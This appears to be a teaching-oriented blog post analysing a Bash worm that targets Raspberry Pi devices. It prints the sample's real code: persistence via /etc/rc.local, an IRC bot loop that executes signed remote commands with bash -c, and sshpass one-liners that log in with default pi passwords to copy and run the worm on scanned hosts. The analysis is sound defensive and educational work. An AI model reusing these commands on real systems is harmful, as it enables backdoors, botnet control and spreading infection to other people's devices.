██████╗  ██████╗ ██╗  ██╗ █████╗ 
╚════██╗██╔═══██╗██║  ██║██╔══██╗
 █████╔╝██║   ██║███████║███████║
 ╚═══██╗██║   ██║██╔══██║██╔══██║
██████╔╝╚██████╔╝██║  ██║██║  ██║
╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝

Welcome to 3OHA, a place for random notes, thoughts, and factoids that I want to share or remember.



4 April 2023

Bash malware (IV): A Raspberry Pi IRC bot

A few weeks ago I had to give an entry-level lecture on IoT malware and I wanted to avoid at all costs a death-by-powerpoint approach. I decided to make the lecture revolve around the technical analysis of a sample that (1) could help me introduce some key concepts (bot, dropper, command and control channel, infection/propagation); (2) provides students with a glimpse of broader themes such as long-term purposes of the malware operator (e.g., monetization strategies for the botnet); and (3) could be used to reflect about the state of affairs in this ecosystem.

One major obstacle was that the audience did not have a solid background on reverse engineering binaries, which forced me to rely on a sample that they were equipped to understand. I then remembered an interesting campaign that targeted Raspbery Pis around 2017 and that could have lots of educational potential because it features a good bunch of behaviors and it is incredibly simple to analyze. I looked for a few samples on the usual places and, unsurprisingly, found out that it still seems to be around in 2023. The sample that I chose has the following hash: 6219350256e5404374c4e99e71ecc1db0a0e3893a09b6aec4c15763023eeffc3. Both the original sample and the beautified version are available in this GitHub repository, where I keep other commented examples of Bash malware.

Analysis

The original sample is a non-obfuscated 161-line Bash script with no functions. One of the first striking behaviors is that, if it is not running with root privileges, it establishes persistence via /etc/rc.local and reboots the device:

if [ "$EUID" -ne 0 ]
then 
     NEWMYSELF=`mktemp -u 'XXXXXXXX'`
     sudo cp $MYSELF /opt/$NEWMYSELF
     sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
     sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
     sudo sh -c "echo 'exit 0' >> /etc/rc.local"
     sleep 1
     sudo reboot
else     

This should make you raise an eyebrow because it assumes passwordless sudo, which unfortunately is true for the intended targets.

The sample then kills all running instances of a number of processes, including well-known competitors (bins.sh, minerd, kaiten) and other regular processes (nodejs, zmap, perl). This could be an attempt to release the CPU from resource-intensive tasks. It also deletes the .bashrc script for the root and pi users. This move is a strong evidence that the sample targets Raspberry Pi devices. It then changes the password for the pi user. In doing so, it effectively prevents similar malware families from infecting this device by using well-known default passwords, a propagation mechanism that this very sample uses later.

The sample backdoors the device by creating the .ssh directory for root if it does not exist and appending a hardcoded public key to the authorized keys file. This will allow the attacker to access the device remotely via ssh using the associated private key. It also writes a public key in the /tmp/public.pem file. This key will be used later by the dropped bot to verify the signed messages received from the C2.

The bot

The next prominent behavior is the dropping and execution of a hardcoded bot, which is also a Bash script. The bot script is run with nohup so that it ignores the SIGHUP (hangup) signal and does not stop when the user logs out. The bot picks a name that consists of a letter a followed by 8 hexadecimal digits taken from the MD5 of the OS name (uname -a). This is a sub-par choice that will likely result in many collisions. Using the derived name as a nickname, the bot registers in an IRC servers randomly picked from a list of 6 hardcoded server names.

After some minor adjustments, the bot enters a very simple C2 loop in which it accepts two types of commands delivered over the IRC channel:

  1. PING: Upon receiving it, the bot replies with PONG followed by the text contained in the PING message. The bot then joins the #biret IRC channel.
  2. PRIVMSG: The parsing applied to this message suggests that it has the following structure, though the first bytes before the first ':' could have a different layout: PRIVMSG:Nickname!X:Signature:Data. Both the Signature and Data fields are base 64 encoded. The signature was generated using RSA over the MD5 hash of the data field. The bot verifies it using the public key that was dropped before in the /tmp/public.pem file. If the verification succeeds, it decodes and runs the command embedded in the Data field and sends back to the IRC channel the output.

while [ true ]; do
eval "read msg_in <&3;"

if [[ ! "$?" -eq 0 ]] ; then
     break
fi

if  [[ "$msg_in" =~ "PING" ]] ; then
     printf "PONG %s\n" "${msg_in:5}";
     eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
     if [[ ! "$?" -eq 0 ]] ; then
          break
     fi
     sleep 1
     eval 'printf "JOIN #biret\r\n" >&3;'
     if [[ ! "$?" -eq 0 ]] ; then
          break
     fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
     privmsg_h=$(echo $msg_in| cut -d':' -f 3)
     privmsg_data=$(echo $msg_in| cut -d':' -f 4)
     privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

     hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
     sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

     if [[ "$sign" == "$hash" ]] ; then
          CMD=`echo $privmsg_data | base64 -d -i`
          RES=`bash -c "$CMD" | base64 -w 0`
          eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
          if [[ ! "$?" -eq 0 ]] ; then
               break
          fi
     fi
fi
done

This is an extremely simple yet effective implant that would allow the attacker to remotely execute commands on the target. A foreseeable use for such a remote command execution capability would be to download and execute additional stages (including binaries for the victim's platform architecture) via standard commands such as curl, wget, ftp, etc.

Propagation

After dropping and executing the bot, the original script enters a conventional propagation loop that scans the Internet for new targets and attempts to infect them. To do so, it first installs a couple of tools that are used for the above tasks: zmap and sshpass. The sample then scans for blocks of 100k IP addresses with the tcp/22 port open and tries them using two well-known default passwords for the pi user: raspberry and raspberryraspberry993311. If any of them works, the script copies itself to the target via scp and runs it after granting the copied file execution permission.

sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &

sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &

Each infected system will then follow the same process described above, deploying a bot and turning itself into a distribution point for the sample.

Educational value

This sample turned out to have substantial educational value for the learning goals that I had in mind:

  1. It provides a very good example of the perils of shipping devices with default passwords, especially when they are for privileged users (remember passwordless sudo). This is particularly problematic for connected devices that are likely to run unattended.
  2. It provides concrete examples of malware behaviors (initial access, persistence, C2, remote command execution, and so on) that are very easy to analyze by students with some system background but little or no skills at all in binary analysis. You can map them to ATT&CK techniques and use the exercise as an excuse to introduce other techniques and pathways in the lifecycle of an infection.
  3. It exemplifies how large-scale infection of a malware strand happens in the wild. You can then introduce common monetization strategies for the resulting botnet (cryptomining, DDoS) and describe how this ecosystem has evolved over the last decade.
  4. The code contains a number of design pitfalls that speak volumes about how careless this business often is.



© 2023 Juan Tapiador